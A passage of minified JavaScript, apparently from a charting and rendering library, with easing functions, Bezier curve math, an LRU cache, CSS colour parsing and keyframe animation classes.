e*e*e},cubicOut:function(e){return--e*e*e+1},cubicInOut:function(e){return(e*=2)<1?.5*e*e*e:.5*((e-=2)*e*e+2)},quarticIn:function(e){return e*e*e*e},quarticOut:function(e){return 1- --e*e*e*e},quarticInOut:function(e){return(e*=2)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)},quinticIn:function(e){return e*e*e*e*e},quinticOut:function(e){return--e*e*e*e*e+1},quinticInOut:function(e){return(e*=2)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)},sinusoidalIn:function(e){return 1-Math.cos(e*Math.PI/2)},sinusoidalOut:function(e){return Math.sin(e*Math.PI/2)},sinusoidalInOut:function(e){return .5*(1-Math.cos(Math.PI*e))},exponentialIn:function(e){return e===0?0:1024**(e-1)},exponentialOut:function(e){return e===1?1:1-2**(-10*e)},exponentialInOut:function(e){return e===0?0:e===1?1:(e*=2)<1?.5*1024**(e-1):.5*(-(2**(-10*(e-1)))+2)},circularIn:function(e){return 1-Math.sqrt(1-e*e)},circularOut:function(e){return Math.sqrt(1- --e*e)},circularInOut:function(e){return(e*=2)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)},elasticIn:function(e){var t,n=.1,r=.4;return e===0?0:e===1?1:(!n||n<1?(n=1,t=r/4):t=r*Math.asin(1/n)/(2*Math.PI),-(n*2**(10*--e)*Math.sin((e-t)*(2*Math.PI)/r)))},elasticOut:function(e){var t,n=.1,r=.4;return e===0?0:e===1?1:(!n||n<1?(n=1,t=r/4):t=r*Math.asin(1/n)/(2*Math.PI),n*2**(-10*e)*Math.sin((e-t)*(2*Math.PI)/r)+1)},elasticInOut:function(e){var t,n=.1,r=.4;return e===0?0:e===1?1:(!n||n<1?(n=1,t=r/4):t=r*Math.asin(1/n)/(2*Math.PI),(e*=2)<1?-.5*(n*2**(10*--e)*Math.sin((e-t)*(2*Math.PI)/r)):n*2**(-10*--e)*Math.sin((e-t)*(2*Math.PI)/r)*.5+1)},backIn:function(e){var t=1.70158;return e*e*((t+1)*e-t)},backOut:function(e){var t=1.70158;return--e*e*((t+1)*e+t)+1},backInOut:function(e){var t=1.70158*1.525;return(e*=2)<1?.5*(e*e*((t+1)*e-t)):.5*((e-=2)*e*((t+1)*e+t)+2)},bounceIn:function(e){return 1-Rr.bounceOut(1-e)},bounceOut:function(e){return e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},bounceInOut:function(e){return e<.5?Rr.bounceIn(e*2)*.5:Rr.bounceOut(e*2-1)*.5+.5}},zr=Math.pow,Br=Math.sqrt,Vr=1e-8,Hr=1e-4,Ur=Br(3),Wr=1/3,Gr=Vt(),Kr=Vt(),qr=Vt();function Jr(e){return e>-Vr&&e<Vr}function Yr(e){return e>Vr||e<-Vr}function Xr(e,t,n,r,i){var a=1-i;return a*a*(a*e+3*i*t)+i*i*(i*r+3*a*n)}function Zr(e,t,n,r,i){var a=1-i;return 3*(((t-e)*a+2*(n-t)*i)*a+(r-n)*i*i)}function Qr(e,t,n,r,i,a){var o=r+3*(t-n)-e,s=3*(n-t*2+e),c=3*(t-e),l=e-i,u=s*s-3*o*c,d=s*c-9*o*l,f=c*c-3*s*l,p=0;if(Jr(u)&&Jr(d))if(Jr(s))a[0]=0;else{var m=-c/s;m>=0&&m<=1&&(a[p++]=m)}else{var h=d*d-4*u*f;if(Jr(h)){var g=d/u,m=-s/o+g,_=-g/2;m>=0&&m<=1&&(a[p++]=m),_>=0&&_<=1&&(a[p++]=_)}else if(h>0){var v=Br(h),y=u*s+1.5*o*(-d+v),b=u*s+1.5*o*(-d-v);y=y<0?-zr(-y,Wr):zr(y,Wr),b=b<0?-zr(-b,Wr):zr(b,Wr);var m=(-s-(y+b))/(3*o);m>=0&&m<=1&&(a[p++]=m)}else{var x=(2*u*s-3*o*d)/(2*Br(u*u*u)),S=Math.acos(x)/3,C=Br(u),w=Math.cos(S),m=(-s-2*C*w)/(3*o),_=(-s+C*(w+Ur*Math.sin(S)))/(3*o),T=(-s+C*(w-Ur*Math.sin(S)))/(3*o);m>=0&&m<=1&&(a[p++]=m),_>=0&&_<=1&&(a[p++]=_),T>=0&&T<=1&&(a[p++]=T)}}return p}function $r(e,t,n,r,i){var a=6*n-12*t+6*e,o=9*t+3*r-3*e-9*n,s=3*t-3*e,c=0;if(Jr(o)){if(Yr(a)){var l=-s/a;l>=0&&l<=1&&(i[c++]=l)}}else{var u=a*a-4*o*s;if(Jr(u))i[0]=-a/(2*o);else if(u>0){var d=Br(u),l=(-a+d)/(2*o),f=(-a-d)/(2*o);l>=0&&l<=1&&(i[c++]=l),f>=0&&f<=1&&(i[c++]=f)}}return c}function ei(e,t,n,r,i,a){var o=(t-e)*i+e,s=(n-t)*i+t,c=(r-n)*i+n,l=(s-o)*i+o,u=(c-s)*i+s,d=(u-l)*i+l;a[0]=e,a[1]=o,a[2]=l,a[3]=d,a[4]=d,a[5]=u,a[6]=c,a[7]=r}function ti(e,t,n,r,i,a,o,s,c,l,u){var d,f=.005,p=1/0,m,h,g,_;Gr[0]=c,Gr[1]=l;for(var v=0;v<1;v+=.05)Kr[0]=Xr(e,n,i,o,v),Kr[1]=Xr(t,r,a,s,v),g=tn(Gr,Kr),g<p&&(d=v,p=g);p=1/0;for(var y=0;y<32&&!(f<Hr);y++)m=d-f,h=d+f,Kr[0]=Xr(e,n,i,o,m),Kr[1]=Xr(t,r,a,s,m),g=tn(Kr,Gr),m>=0&&g<p?(d=m,p=g):(qr[0]=Xr(e,n,i,o,h),qr[1]=Xr(t,r,a,s,h),_=tn(qr,Gr),h<=1&&_<p?(d=h,p=_):f*=.5);return u&&(u[0]=Xr(e,n,i,o,d),u[1]=Xr(t,r,a,s,d)),Br(p)}function ni(e,t,n,r,i,a,o,s,c){for(var l=e,u=t,d=0,f=1/c,p=1;p<=c;p++){var m=p*f,h=Xr(e,n,i,o,m),g=Xr(t,r,a,s,m),_=h-l,v=g-u;d+=Math.sqrt(_*_+v*v),l=h,u=g}return d}function ri(e,t,n,r){var i=1-r;return i*(i*e+2*r*t)+r*r*n}function ii(e,t,n,r){return 2*((1-r)*(t-e)+r*(n-t))}function ai(e,t,n,r,i){var a=e-2*t+n,o=2*(t-e),s=e-r,c=0;if(Jr(a)){if(Yr(o)){var l=-s/o;l>=0&&l<=1&&(i[c++]=l)}}else{var u=o*o-4*a*s;if(Jr(u)){var l=-o/(2*a);l>=0&&l<=1&&(i[c++]=l)}else if(u>0){var d=Br(u),l=(-o+d)/(2*a),f=(-o-d)/(2*a);l>=0&&l<=1&&(i[c++]=l),f>=0&&f<=1&&(i[c++]=f)}}return c}function oi(e,t,n){var r=e+n-2*t;return r===0?.5:(e-t)/r}function si(e,t,n,r,i){var a=(t-e)*r+e,o=(n-t)*r+t,s=(o-a)*r+a;i[0]=e,i[1]=a,i[2]=s,i[3]=s,i[4]=o,i[5]=n}function ci(e,t,n,r,i,a,o,s,c){var l,u=.005,d=1/0;Gr[0]=o,Gr[1]=s;for(var f=0;f<1;f+=.05){Kr[0]=ri(e,n,i,f),Kr[1]=ri(t,r,a,f);var p=tn(Gr,Kr);p<d&&(l=f,d=p)}d=1/0;for(var m=0;m<32&&!(u<Hr);m++){var h=l-u,g=l+u;Kr[0]=ri(e,n,i,h),Kr[1]=ri(t,r,a,h);var p=tn(Kr,Gr);if(h>=0&&p<d)l=h,d=p;else{qr[0]=ri(e,n,i,g),qr[1]=ri(t,r,a,g);var _=tn(qr,Gr);g<=1&&_<d?(l=g,d=_):u*=.5}}return c&&(c[0]=ri(e,n,i,l),c[1]=ri(t,r,a,l)),Br(d)}function li(e,t,n,r,i,a,o){for(var s=e,c=t,l=0,u=1/o,d=1;d<=o;d++){var f=d*u,p=ri(e,n,i,f),m=ri(t,r,a,f),h=p-s,g=m-c;l+=Math.sqrt(h*h+g*g),s=p,c=m}return l}var ui=/cubic-bezier\(([0-9,\.e ]+)\)/;function di(e){var t=e&&ui.exec(e);if(t){var n=t[1].split(`,`),r=+Ot(n[0]),i=+Ot(n[1]),a=+Ot(n[2]),o=+Ot(n[3]);if(isNaN(r+i+a+o))return;var s=[];return function(e){return e<=0?0:e>=1?1:Qr(0,r,a,1,e,s)&&Xr(0,i,o,1,s[0])}}}var fi=function(){function e(e){this._inited=!1,this._startTime=0,this._pausedTime=0,this._paused=!1,this._life=e.life||1e3,this._delay=e.delay||0,this.loop=e.loop||!1,this.onframe=e.onframe||zt,this.ondestroy=e.ondestroy||zt,this.onrestart=e.onrestart||zt,e.easing&&this.setEasing(e.easing)}return e.prototype.step=function(e,t){if(this._inited||=(this._startTime=e+this._delay,!0),this._paused){this._pausedTime+=t;return}var n=this._life,r=e-this._startTime-this._pausedTime,i=r/n;i<0&&(i=0),i=Math.min(i,1);var a=this.easingFunc,o=a?a(i):i;if(this.onframe(o),i===1)if(this.loop){var s=r%n;this._startTime=e-s,this._pausedTime=0,this.onrestart()}else return!0;return!1},e.prototype.pause=function(){this._paused=!0},e.prototype.resume=function(){this._paused=!1},e.prototype.setEasing=function(e){this.easing=e,this.easingFunc=V(e)?e:Rr[e]||di(e)},e}(),pi=function(){function e(e){this.value=e}return e}(),mi=function(){function e(){this._len=0}return e.prototype.insert=function(e){var t=new pi(e);return this.insertEntry(t),t},e.prototype.insertEntry=function(e){this.head?(this.tail.next=e,e.prev=this.tail,e.next=null,this.tail=e):this.head=this.tail=e,this._len++},e.prototype.remove=function(e){var t=e.prev,n=e.next;t?t.next=n:this.head=n,n?n.prev=t:this.tail=t,e.next=e.prev=null,this._len--},e.prototype.len=function(){return this._len},e.prototype.clear=function(){this.head=this.tail=null,this._len=0},e}(),hi=function(){function e(e){this._list=new mi,this._maxSize=10,this._map={},this._maxSize=e}return e.prototype.put=function(e,t){var n=this._list,r=this._map,i=null;if(r[e]==null){var a=n.len(),o=this._lastRemovedEntry;if(a>=this._maxSize&&a>0){var s=n.head;n.remove(s),delete r[s.key],i=s.value,this._lastRemovedEntry=s}o?o.value=t:o=new pi(t),o.key=e,n.insertEntry(o),r[e]=o}return i},e.prototype.get=function(e){var t=this._map[e],n=this._list;if(t!=null)return t!==n.tail&&(n.remove(t),n.insertEntry(t)),t.value},e.prototype.clear=function(){this._list.clear(),this._map={}},e.prototype.len=function(){return this._list.len()},e}(),gi={transparent:[0,0,0,0],aliceblue:[240,248,255,1],antiquewhite:[250,235,215,1],aqua:[0,255,255,1],aquamarine:[127,255,212,1],azure:[240,255,255,1],beige:[245,245,220,1],bisque:[255,228,196,1],black:[0,0,0,1],blanchedalmond:[255,235,205,1],blue:[0,0,255,1],blueviolet:[138,43,226,1],brown:[165,42,42,1],burlywood:[222,184,135,1],cadetblue:[95,158,160,1],chartreuse:[127,255,0,1],chocolate:[210,105,30,1],coral:[255,127,80,1],cornflowerblue:[100,149,237,1],cornsilk:[255,248,220,1],crimson:[220,20,60,1],cyan:[0,255,255,1],darkblue:[0,0,139,1],darkcyan:[0,139,139,1],darkgoldenrod:[184,134,11,1],darkgray:[169,169,169,1],darkgreen:[0,100,0,1],darkgrey:[169,169,169,1],darkkhaki:[189,183,107,1],darkmagenta:[139,0,139,1],darkolivegreen:[85,107,47,1],darkorange:[255,140,0,1],darkorchid:[153,50,204,1],darkred:[139,0,0,1],darksalmon:[233,150,122,1],darkseagreen:[143,188,143,1],darkslateblue:[72,61,139,1],darkslategray:[47,79,79,1],darkslategrey:[47,79,79,1],darkturquoise:[0,206,209,1],darkviolet:[148,0,211,1],deeppink:[255,20,147,1],deepskyblue:[0,191,255,1],dimgray:[105,105,105,1],dimgrey:[105,105,105,1],dodgerblue:[30,144,255,1],firebrick:[178,34,34,1],floralwhite:[255,250,240,1],forestgreen:[34,139,34,1],fuchsia:[255,0,255,1],gainsboro:[220,220,220,1],ghostwhite:[248,248,255,1],gold:[255,215,0,1],goldenrod:[218,165,32,1],gray:[128,128,128,1],green:[0,128,0,1],greenyellow:[173,255,47,1],grey:[128,128,128,1],honeydew:[240,255,240,1],hotpink:[255,105,180,1],indianred:[205,92,92,1],indigo:[75,0,130,1],ivory:[255,255,240,1],khaki:[240,230,140,1],lavender:[230,230,250,1],lavenderblush:[255,240,245,1],lawngreen:[124,252,0,1],lemonchiffon:[255,250,205,1],lightblue:[173,216,230,1],lightcoral:[240,128,128,1],lightcyan:[224,255,255,1],lightgoldenrodyellow:[250,250,210,1],lightgray:[211,211,211,1],lightgreen:[144,238,144,1],lightgrey:[211,211,211,1],lightpink:[255,182,193,1],lightsalmon:[255,160,122,1],lightseagreen:[32,178,170,1],lightskyblue:[135,206,250,1],lightslategray:[119,136,153,1],lightslategrey:[119,136,153,1],lightsteelblue:[176,196,222,1],lightyellow:[255,255,224,1],lime:[0,255,0,1],limegreen:[50,205,50,1],linen:[250,240,230,1],magenta:[255,0,255,1],maroon:[128,0,0,1],mediumaquamarine:[102,205,170,1],mediumblue:[0,0,205,1],mediumorchid:[186,85,211,1],mediumpurple:[147,112,219,1],mediumseagreen:[60,179,113,1],mediumslateblue:[123,104,238,1],mediumspringgreen:[0,250,154,1],mediumturquoise:[72,209,204,1],mediumvioletred:[199,21,133,1],midnightblue:[25,25,112,1],mintcream:[245,255,250,1],mistyrose:[255,228,225,1],moccasin:[255,228,181,1],navajowhite:[255,222,173,1],navy:[0,0,128,1],oldlace:[253,245,230,1],olive:[128,128,0,1],olivedrab:[107,142,35,1],orange:[255,165,0,1],orangered:[255,69,0,1],orchid:[218,112,214,1],palegoldenrod:[238,232,170,1],palegreen:[152,251,152,1],paleturquoise:[175,238,238,1],palevioletred:[219,112,147,1],papayawhip:[255,239,213,1],peachpuff:[255,218,185,1],peru:[205,133,63,1],pink:[255,192,203,1],plum:[221,160,221,1],powderblue:[176,224,230,1],purple:[128,0,128,1],red:[255,0,0,1],rosybrown:[188,143,143,1],royalblue:[65,105,225,1],saddlebrown:[139,69,19,1],salmon:[250,128,114,1],sandybrown:[244,164,96,1],seagreen:[46,139,87,1],seashell:[255,245,238,1],sienna:[160,82,45,1],silver:[192,192,192,1],skyblue:[135,206,235,1],slateblue:[106,90,205,1],slategray:[112,128,144,1],slategrey:[112,128,144,1],snow:[255,250,250,1],springgreen:[0,255,127,1],steelblue:[70,130,180,1],tan:[210,180,140,1],teal:[0,128,128,1],thistle:[216,191,216,1],tomato:[255,99,71,1],turquoise:[64,224,208,1],violet:[238,130,238,1],wheat:[245,222,179,1],white:[255,255,255,1],whitesmoke:[245,245,245,1],yellow:[255,255,0,1],yellowgreen:[154,205,50,1]};function _i(e){return e=Math.round(e),e<0?0:e>255?255:e}function vi(e){return e=Math.round(e),e<0?0:e>360?360:e}function yi(e){return e<0?0:e>1?1:e}function bi(e){var t=e;return t.length&&t.charAt(t.length-1)===`%`?_i(parseFloat(t)/100*255):_i(parseInt(t,10))}function xi(e){var t=e;return t.length&&t.charAt(t.length-1)===`%`?yi(parseFloat(t)/100):yi(parseFloat(t))}function Si(e,t,n){return n<0?n+=1:n>1&&--n,n*6<1?e+(t-e)*n*6:n*2<1?t:n*3<2?e+(t-e)*(2/3-n)*6:e}function Ci(e,t,n){return e+(t-e)*n}function wi(e,t,n,r,i){return e[0]=t,e[1]=n,e[2]=r,e[3]=i,e}function Ti(e,t){return e[0]=t[0],e[1]=t[1],e[2]=t[2],e[3]=t[3],e}var Ei=new hi(20),Di=null;function Oi(e,t){Di&&Ti(Di,t),Di=Ei.put(e,Di||t.slice())}function ki(e,t){if(e){t||=[];var n=Ei.get(e);if(n)return Ti(t,n);e+=``;var r=e.replace(/ /g,``).toLowerCase();if(r in gi)return Ti(t,gi[r]),Oi(e,t),t;var i=r.length;if(r.charAt(0)===`#`){if(i===4||i===5){var a=parseInt(r.slice(1,4),16);if(!(a>=0&&a<=4095)){wi(t,0,0,0,1);return}return wi(t,(a&3840)>>4|(a&3840)>>8,a&240|(a&240)>>4,a&15|(a&15)<<4,i===5?parseInt(r.slice(4),16)/15:1),Oi(e,t),t}else if(i===7||i===9){var a=parseInt(r.slice(1,7),16);if(!(a>=0&&a<=16777215)){wi(t,0,0,0,1);return}return wi(t,(a&16711680)>>16,(a&65280)>>8,a&255,i===9?parseInt(r.slice(7),16)/255:1),Oi(e,t),t}return}var o=r.indexOf(`(`),s=r.indexOf(`)`);if(o!==-1&&s+1===i){var c=r.substr(0,o),l=r.substr(o+1,s-(o+1)).split(`,`),u=1;switch(c){case`rgba`:if(l.length!==4)return l.length===3?wi(t,+l[0],+l[1],+l[2],1):wi(t,0,0,0,1);u=xi(l.pop());case`rgb`:if(l.length>=3)return wi(t,bi(l[0]),bi(l[1]),bi(l[2]),l.length===3?u:xi(l[3])),Oi(e,t),t;wi(t,0,0,0,1);return;case`hsla`:if(l.length!==4){wi(t,0,0,0,1);return}return l[3]=xi(l[3]),Ai(l,t),Oi(e,t),t;case`hsl`:if(l.length!==3){wi(t,0,0,0,1);return}return Ai(l,t),Oi(e,t),t;default:return}}wi(t,0,0,0,1)}}function Ai(e,t){var n=(parseFloat(e[0])%360+360)%360/360,r=xi(e[1]),i=xi(e[2]),a=i<=.5?i*(r+1):i+r-i*r,o=i*2-a;return t||=[],wi(t,_i(Si(o,a,n+1/3)*255),_i(Si(o,a,n)*255),_i(Si(o,a,n-1/3)*255),1),e.length===4&&(t[3]=e[3]),t}function ji(e){if(e){var t=e[0]/255,n=e[1]/255,r=e[2]/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=a-i,s=(a+i)/2,c,l;if(o===0)c=0,l=0;else{l=s<.5?o/(a+i):o/(2-a-i);var u=((a-t)/6+o/2)/o,d=((a-n)/6+o/2)/o,f=((a-r)/6+o/2)/o;t===a?c=f-d:n===a?c=1/3+u-f:r===a&&(c=2/3+d-u),c<0&&(c+=1),c>1&&--c}var p=[c*360,l,s];return e[3]!=null&&p.push(e[3]),p}}function Mi(e,t){var n=ki(e);if(n){for(var r=0;r<3;r++)t<0?n[r]=n[r]*(1-t)|0:n[r]=(255-n[r])*t+n[r]|0,n[r]>255?n[r]=255:n[r]<0&&(n[r]=0);return Li(n,n.length===4?`rgba`:`rgb`)}}function Ni(e,t,n){if(!(!(t&&t.length)||!(e>=0&&e<=1))){n||=[];var r=e*(t.length-1),i=Math.floor(r),a=Math.ceil(r),o=t[i],s=t[a],c=r-i;return n[0]=_i(Ci(o[0],s[0],c)),n[1]=_i(Ci(o[1],s[1],c)),n[2]=_i(Ci(o[2],s[2],c)),n[3]=yi(Ci(o[3],s[3],c)),n}}function Pi(e,t,n){if(!(!(t&&t.length)||!(e>=0&&e<=1))){var r=e*(t.length-1),i=Math.floor(r),a=Math.ceil(r),o=ki(t[i]),s=ki(t[a]),c=r-i,l=Li([_i(Ci(o[0],s[0],c)),_i(Ci(o[1],s[1],c)),_i(Ci(o[2],s[2],c)),yi(Ci(o[3],s[3],c))],`rgba`);return n?{color:l,leftIndex:i,rightIndex:a,value:r}:l}}function Fi(e,t,n,r){var i=ki(e);if(e)return i=ji(i),t!=null&&(i[0]=vi(V(t)?t(i[0]):t)),n!=null&&(i[1]=xi(V(n)?n(i[1]):n)),r!=null&&(i[2]=xi(V(r)?r(i[2]):r)),Li(Ai(i),`rgba`)}function Ii(e,t){var n=ki(e);if(n&&t!=null)return n[3]=yi(t),Li(n,`rgba`)}function Li(e,t){if(!(!e||!e.length)){var n=e[0]+`,`+e[1]+`,`+e[2];return(t===`rgba`||t===`hsva`||t===`hsla`)&&(n+=`,`+e[3]),t+`(`+n+`)`}}function Ri(e,t){var n=ki(e);return n?(.299*n[0]+.587*n[1]+.114*n[2])*n[3]/255+(1-n[3])*t:0}var zi=new hi(100);function Bi(e){if(H(e)){var t=zi.get(e);return t||(t=Mi(e,-.1),zi.put(e,t)),t}else if(yt(e)){var n=F({},e);return n.colorStops=R(e.colorStops,function(e){return{offset:e.offset,color:Mi(e.color,-.1)}}),n}return e}var Vi=Math.round;function Hi(e){var t;if(!e||e===`transparent`)e=`none`;else if(typeof e==`string`&&e.indexOf(`rgba`)>-1){var n=ki(e);n&&(e=`rgb(`+n[0]+`,`+n[1]+`,`+n[2]+`)`,t=n[3])}return{color:e,opacity:t??1}}var Ui=1e-4;function Wi(e){return e<Ui&&e>-Ui}function Gi(e){return Vi(e*1e3)/1e3}function Ki(e){return Vi(e*1e4)/1e4}function qi(e){return`matrix(`+Gi(e[0])+`,`+Gi(e[1])+`,`+Gi(e[2])+`,`+Gi(e[3])+`,`+Ki(e[4])+`,`+Ki(e[5])+`)`}var Ji={left:`start`,right:`end`,center:`middle`,middle:`middle`};function Yi(e,t,n){return n===`top`?e+=t/2:n===`bottom`&&(e-=t/2),e}function Xi(e){return e&&(e.shadowBlur||e.shadowOffsetX||e.shadowOffsetY)}function Zi(e){var t=e.style,n=e.getGlobalScale();return[t.shadowColor,(t.shadowBlur||0).toFixed(2),(t.shadowOffsetX||0).toFixed(2),(t.shadowOffsetY||0).toFixed(2),n[0],n[1]].join(`,`)}function Qi(e){return e&&!!e.image}function $i(e){return e&&!!e.svgElement}function ea(e){return Qi(e)||$i(e)}function ta(e){return e.type===`linear`}function na(e){return e.type===`radial`}function ra(e){return e&&(e.type===`linear`||e.type===`radial`)}function ia(e){return`url(#`+e+`)`}function aa(e){var t=e.getGlobalScale(),n=Math.max(t[0],t[1]);return Math.max(Math.ceil(Math.log(n)/Math.log(10)),1)}function oa(e){var t=e.x||0,n=e.y||0,r=(e.rotation||0)*Bt,i=W(e.scaleX,1),a=W(e.scaleY,1),o=e.skewX||0,s=e.skewY||0,c=[];return(t||n)&&c.push(`translate(`+t+`px,`+n+`px)`),r&&c.push(`rotate(`+r+`)`),(i!==1||a!==1)&&c.push(`scale(`+i+`,`+a+`)`),(o||s)&&c.push(`skew(`+Vi(o*Bt)+`deg, `+Vi(s*Bt)+`deg)`),c.join(` `)}var sa=(function(){return Ne.hasGlobalWindow&&V(window.btoa)?function(e){return window.btoa(unescape(encodeURIComponent(e)))}:typeof Buffer<`u`?function(e){return Buffer.from(e).toString(`base64`)}:function(e){return null}})(),ca=Array.prototype.slice;function la(e,t,n){return(t-e)*n+e}function ua(e,t,n,r){for(var i=t.length,a=0;a<i;a++)e[a]=la(t[a],n[a],r);return e}function da(e,t,n,r){for(var i=t.length,a=i&&t[0].length,o=0;o<i;o++){e[o]||(e[o]=[]);for(var s=0;s<a;s++)e[o][s]=la(t[o][s],n[o][s],r)}return e}function fa(e,t,n,r){for(var i=t.length,a=0;a<i;a++)e[a]=t[a]+n[a]*r;return e}function pa(e,t,n,r){for(var i=t.length,a=i&&t[0].length,o=0;o<i;o++){e[o]||(e[o]=[]);for(var s=0;s<a;s++)e[o][s]=t[o][s]+n[o][s]*r}return e}function ma(e,t){for(var n=e.length,r=t.length,i=n>r?t:e,a=Math.min(n,r),o=i[a-1]||{color:[0,0,0,0],offset:0},s=a;s<Math.max(n,r);s++)i.push({offset:o.offset,color:o.color.slice()})}function ha(e,t,n){var r=e,i=t;if(!(!r.push||!i.push)){var a=r.length,o=i.length;if(a!==o)if(a>o)r.length=o;else for(var s=a;s<o;s++)r.push(n===1?i[s]:ca.call(i[s]));for(var c=r[0]&&r[0].length,s=0;s<r.length;s++)if(n===1)isNaN(r[s])&&(r[s]=i[s]);else for(var l=0;l<c;l++)isNaN(r[s][l])&&(r[s][l]=i[s][l])}}function ga(e){if(st(e)){var t=e.length;if(st(e[0])){for(var n=[],r=0;r<t;r++)n.push(ca.call(e[r]));return n}return ca.call(e)}return e}function _a(e){return e[0]=Math.floor(e[0])||0,e[1]=Math.floor(e[1])||0,e[2]=Math.floor(e[2])||0,e[3]=e[3]==null?1:e[3],`rgba(`+e.join(`,`)+`)`}function va(e){return st(e&&e[0])?2:1}var ya=0,ba=1,xa=2,Sa=3,Ca=4,wa=5,Ta=6;function Ea(e){return e===Ca||e===wa}function Da(e){return e===ba||e===xa}var Oa=[0,0,0,0],ka=function(){function e(e){this.keyframes=[],this.discrete=!1,this._invalid=!1,this._needsSort=!1,this._lastFr=0,this._lastFrP=0,this.propName=e}return e.prototype.isFinished=function(){return this._finished},e.prototype.setFinished=function(){this._finished=!0,this._additiveTrack&&this._additiveTrack.setFinished()},e.prototype.needsAnimate=function(){return this.keyframes.length>=1},e.prototype.getAdditiveTrack=function(){return this._additiveTrack},e.prototype.addKeyframe=function(e,t,n){this._needsSort=!0;var r=this.keyframes,i=r.length,a=!1,o=Ta,s=t;if(st(t)){var c=va(t);o=c,(c===1&&!ht(t[0])||c===2&&!ht(t[0][0]))&&(a=!0)}else if(ht(t)&&!St(t))o=ya;else if(H(t))if(!isNaN(+t))o=ya;else{var l=ki(t);l&&(s=l,o=Sa)}else if(yt(t)){var u=F({},s);u.colorStops=R(t.colorStops,function(e){return{offset:e.offset,color:ki(e.color)}}),ta(t)?o=Ca:na(t)&&(o=wa),s=u}i===0?this.valType=o:(o!==this.valType||o===Ta)&&(a=!0),this.discrete=this.discrete||a;var d={time:e,value:s,rawValue:t,percent:0};return n&&(d.easing=n,d.easingFunc=V(n)?n:Rr[n]||di(n)),r.push(d),d},e.prototype.prepare=function(e,t){var n=this.keyframes;this._needsSort&&n.sort(function(e,t){return e.time-t.time});for(var r=this.valType,i=n.length,a=n[i-1],o=this.discrete,s=Da(r),c=Ea(r),l=0;l<i;l++){var u=n[l],d=u.value,f=a.value;u.percent=u.time/e,o||(s&&l!==i-1?ha(d,f,r):c&&ma(d.colorStops,f.colorStops))}if(!o&&r!==wa&&t&&this.needsAnimate()&&t.needsAnimate()&&r===t.valType&&!t._finished){this._additiveTrack=t;for(var p=n[0].value,l=0;l<i;l++)r===ya?n[l].additiveValue=n[l].value-p:r===Sa?n[l].additiveValue=fa([],n[l].value,p,-1):Da(r)&&(n[l].additiveValue=r===ba?fa([],n[l].value,p,-1):pa([],n[l].value,p,-1))}},e.prototype.step=function(e,t){if(!this._finished){this._additiveTrack&&this._additiveTrack._finished&&(this._additiveTrack=null);var n=this._additiveTrack!=null,r=n?`additiveValue`:`value`,i=this.valType,a=this.keyframes,o=a.length,s=this.propName,c=i===Sa,l,u=this._lastFr,d=Math.min,f,p;if(o===1)f=p=a[0];else{if(t<0)l=0;else if(t<this._lastFrP){for(l=d(u+1,o-1);l>=0&&!(a[l].percent<=t);l--);l=d(l,o-2)}else{for(l=u;l<o&&!(a[l].percent>t);l++);l=d(l-1,o-2)}p=a[l+1],f=a[l]}if(f&&p){this._lastFr=l,this._lastFrP=t;var m=p.percent-f.percent,h=m===0?1:d((t-f.percent)/m,1);p.easingFunc&&(h=p.easingFunc(h));var g=n?this._additiveValue:c?Oa:e[s];if((Da(i)||c)&&!g&&(g=this._additiveValue=[]),this.discrete)e[s]=h<1?f.rawValue:p.rawValue;else if(Da(i))i===ba?ua(g,f[r],p[r],h):da(g,f[r],p[r],h);else if(Ea(i)){var _=f[r],v=p[r],y=i===Ca;e[s]={type:y?`linear`:`radial`,x:la(_.x,v.x,h),y:la(_.y,v.y,h),colorStops:R(_.colorStops,function(e,t){var n=v.colorStops[t];return{offset:la(e.offset,n.offset,h),color:_a(ua([],e.color,n.color,h))}}),global:v.global},y?(e[s].x2=la(_.x2,v.x2,h),e[s].y2=la(_.y2,v.y2,h)):e[s].r=la(_.r,v.r,h)}else if(c)ua(g,f[r],p[r],h),n||(e[s]=_a(g));else{var b=la(f[r],p[r],h);n?this._additiveValue=b:e[s]=b}n&&this._addToTarget(e)}}},e.prototype._addToTarget=function(e){var t=this.valType,n=this.propName,r=this._additiveValue;t===ya?e[n]=e[n]+r:t===Sa?(ki(e[n],Oa),fa(Oa,Oa,r,1),e[n]=_a(Oa)):t===ba?fa(e[n],e[n],r,1):t===xa&&pa(e[n],e[n],r,1)},e}(),Aa=function(){function e(e,t,n,r){if(this._tracks={},this._trackKeys=[],this._maxTime=0,this._started=0,this._clip=null,this._target=e,this._loop=t,t&&r){tt(`Can' use additive animation on looped animation.`);return}this._additiveAnimators=r,this._allowDiscrete=n}return e.prototype.getMaxTime=function(){return this._maxTime},e.prototype.getDelay=function(){return this._delay},e.prototype.getLoop=function(){return this._loop},e.prototype.getTarget=function(){return this._target},e.prototype.changeTarget=function(e){this._target=e},e.prototype.when=function(e,t,n){return this.whenWithKeys(e,t,dt(t),n)},e.prototype.whenWithKeys=function(e,t,n,r){for(var i=this._tracks,a=0;a<n.length;a++){var o=n[a],s=i[o];if(!s){s=i[o]=new ka(o);var c=void 0,l=this._getAdditiveTrack(o);if(l){var u=l.keyframes,d=u[u.length-1];c=d&&d.value,l.valType===Sa&&c&&(c=_a(c))}else c=this._target[o];if(c==null)continue;e>0&&s.addKeyframe(0,ga(c),r),this._trackKeys.push(o)}s.addKeyframe(e,ga(t[o]),r)}return this._maxTime=Math.max(this._maxTime,e),this},e.prototype.pause=function(){this._clip.pause(),this._paused=!0},e.prototype.resume=function(){this._clip.resume(),this._paused=!1},e.prototype.isPaused=function(){return!!this._paused},e.prototype.duration=function(e){return this._maxTime=e,this._force=!0,this},e.prototype._doneCallback=function(){this._setTracksFinished(),this._clip=null;var e=this._doneCbs;if(e)for(var t=e.length,n=0;n<t;n++)e[n].call(this)},e.prototype._abortedCallback=function(){this._setTracksFinished();var e=this.animation,t=this._abortedCbs;if(e&&e.removeClip(this._clip),this._clip=null,t)for(var n=0;n<t.length;n++)t[n].call(this)},e.prototype._setTracksFinished=function(){for(var e=this._tracks,t=this._trackKeys,n=0;n<t.length;n++)e[t[n]].setFinished()},e.prototype._getAdditiveTrack=function(e){var t,n=this._additiveAnimators;if(n)for(var r=0;r<n.length;r++){var i=n[r].getTrack(e);i&&(t=i)}return 